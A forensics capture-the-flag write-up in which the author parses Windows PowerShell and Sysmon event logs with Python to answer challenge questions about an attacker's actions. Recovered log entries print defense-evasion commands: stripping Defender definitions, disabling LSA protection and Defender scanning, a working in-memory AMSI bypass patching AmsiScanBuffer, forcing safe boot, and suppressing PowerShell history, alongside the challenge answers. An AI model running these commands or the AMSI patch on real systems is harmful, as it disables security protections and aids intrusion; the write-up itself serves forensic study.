Smoke & Mirrors
There is no machine, just a zip file containing 3 .evtx files
$ ls
Microsoft-Windows-Powershell.evtx Microsoft-Windows-Powershell-Operational.evtx Microsoft-Windows-Sysmon-Operational.evtx
Usually you just open .evtx files with Event Viewer on windows, but I’ll test on the rust tool evtx_dump on linux.
yay -S evtx
[~/t]
$ evtx_dump Microsoft-Windows-Powershell-Operational.evtx -o json > Powershell-Operational.json
[~/t]
$ evtx_dump Microsoft-Windows-Powershell.evtx -o json > Powershell.json
[~/t]
$ evtx_dump Microsoft-Windows-Sysmon-Operational.evtx -o json > Sysmon-Operational.json
from json import loads
for line in open('Powershell.json').read().splitlines()[1::2][::-1]:
j = loads(line)["Event"]
eventdata = j.get("EventData").get('Data').get('#text')
print(f'{eventdata = }\n\n\n\n')
The Powershell.json seemed not so useful? no commands? so I moved on to Powershell-Operational.json
from json import loads
for line in open('Powershell-Operational.json').read().splitlines()[1::2][::-1]:
j = loads(line)["Event"]
eventdata = j.get("EventData")
if eventdata is not None:
payload = eventdata.get("Payload")
if payload is not None:
print(f'payload: {payload}')
The commands/outputs didn’t have any registry keys, but scriptblocks did!
from json import loads
for line in open('Powershell-Operational.json').read().splitlines()[1::2][::-1]:
j = loads(line)["Event"]
eventdata = j.get("EventData")
if eventdata is not None:
#payload = eventdata.get("Payload")
#if payload is not None:
# print(f'payload: {payload}')
scriptblocktext = eventdata.get("ScriptBlockText")
if scriptblocktext is not None:
print(f'scriptblocktext: {scriptblocktext}')
...
scriptblocktext: C:\Program Files\Windows Defender\MpCmdRun.exe -RemoveDefinitions -All
scriptblocktext: prompt
scriptblocktext: reg add HKLM\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /t REG_DWORD /d 0 /f
scriptblocktext: $Host
scriptblocktext: prompt
scriptblocktext: prompt
scriptblocktext: reg add HKLM\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /t REG_DWORD /d 0 /f
scriptblocktext: $Host
scriptblocktext: prompt
scriptblocktext: prompt
scriptblocktext: cls
scriptblocktext: prompt
scriptblocktext: reg add /?
scriptblocktext: prompt
scriptblocktext: reg add
scriptblocktext: $Host
scriptblocktext: prompt
scriptblocktext: function Test-UnnecessaryFiles([string]$folder = $(throw "No folder is specified")) {
...
Q1: HKLM\SYSTEM\CurrentControlSet\Control\LSA
...
scriptblocktext: Set-MpPreference -DisableIOAVProtection $true -DisableEmailScanning $true -DisableBlockAtFirstSeen $true
scriptblocktext: prompt
scriptblocktext: cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
scriptblocktext: prompt
scriptblocktext: { Set-StrictMode -Version 1; $_.OriginInfo }
scriptblocktext: { Set-StrictMode -Version 1; $_.ErrorCategory_Message }
scriptblocktext: { Set-StrictMode -Version 1; $_.PSMessageDetails }
scriptblocktext: prompt
...
Q2: Set-MpPreference -DisableIOAVProtection $true -DisableEmailScanning $true -DisableBlockAtFirstSeen $true
scriptblocktext: function Disable-Protection {
$k = @"
using System;
using System.Runtime.InteropServices;
public class P {
[DllImport("kernel32.dll")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll")]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
public static bool Patch() {
IntPtr h = GetModuleHandle("a" + "m" + "s" + "i" + ".dll");
if (h == IntPtr.Zero) return false;
IntPtr a = GetProcAddress(h, "A" + "m" + "s" + "i" + "S" + "c" + "a" + "n" + "B" + "u" + "f" + "f" + "e" + "r");
if (a == IntPtr.Zero) return false;
UInt32 oldProtect;
if (!VirtualProtect(a, (UIntPtr)5, 0x40, out oldProtect)) return false;
byte[] patch = { 0x31, 0xC0, 0xC3 };
Marshal.Copy(patch, 0, a, patch.Length);
return VirtualProtect(a, (UIntPtr)5, oldProtect, out oldProtect);
}
}
Q3: AmsiScanBuffer
I just searched for safe (but they want you to add .exe at the end, I think they looked through the Sysmon one instead of the Powershell-Operational):
scriptblocktext: bcdedit /set safeboot network
Q4: bcdedit.exe /set safeboot network
I just searched for istory and found this:
scriptblocktext: Set-PSReadlineOption -HistorySaveStyle SaveNothing
Q5: scriptblocktext: Set-PSReadlineOption -HistorySaveStyle SaveNothing
I tried to make a tool for future use too:
# pip install evtx
# run as admin
# NOTE windows does not log every executed powershell command by default.
# Powershell logging policies can be configured via registry or group polkicy.
# to check if logging is enabled: (if error it is not enabled)
# Get-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"
# run this as admin to enable:
"""
$RegistryPath = "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"
if (!(Test-Path $RegistryPath)) { New-Item -Path $RegistryPath -Force }
Set-ItemProperty -Path $RegistryPath -Name "EnableScriptBlockLogging" -Value 1 -Type DWord
"""
from json import loads
from evtx import PyEvtxParser
from datetime import datetime
evtx_path = "C:\\Windows\\System32\\winevt\\Logs\\Microsoft-Windows-PowerShell%4Operational.evtx"
events = []
for record in PyEvtxParser(evtx_path).records_json():
event = loads(record['data']).get('Event')
datetime = event.get('System').get('TimeCreated').get('#attributes').get('SystemTime')
events.append( (datetime, event) )
for (datetime, event) in sorted(events):
date, time = datetime.split('T')
year, month, day = date.split('-')
# you can filter here
#if year != '2026' or month != '08':
# continue
eventdata = event.get("EventData")
scriptblocktext = None
if eventdata is not None:
scriptblocktext = eventdata.get("ScriptBlockText")
if scriptblocktext is not None:
print(f'scriptblocktext {date} {time}: {scriptblocktext}')
payload = eventdata.get("Payload")
if payload is not None:
print(f'payload {date} {time}: {payload}')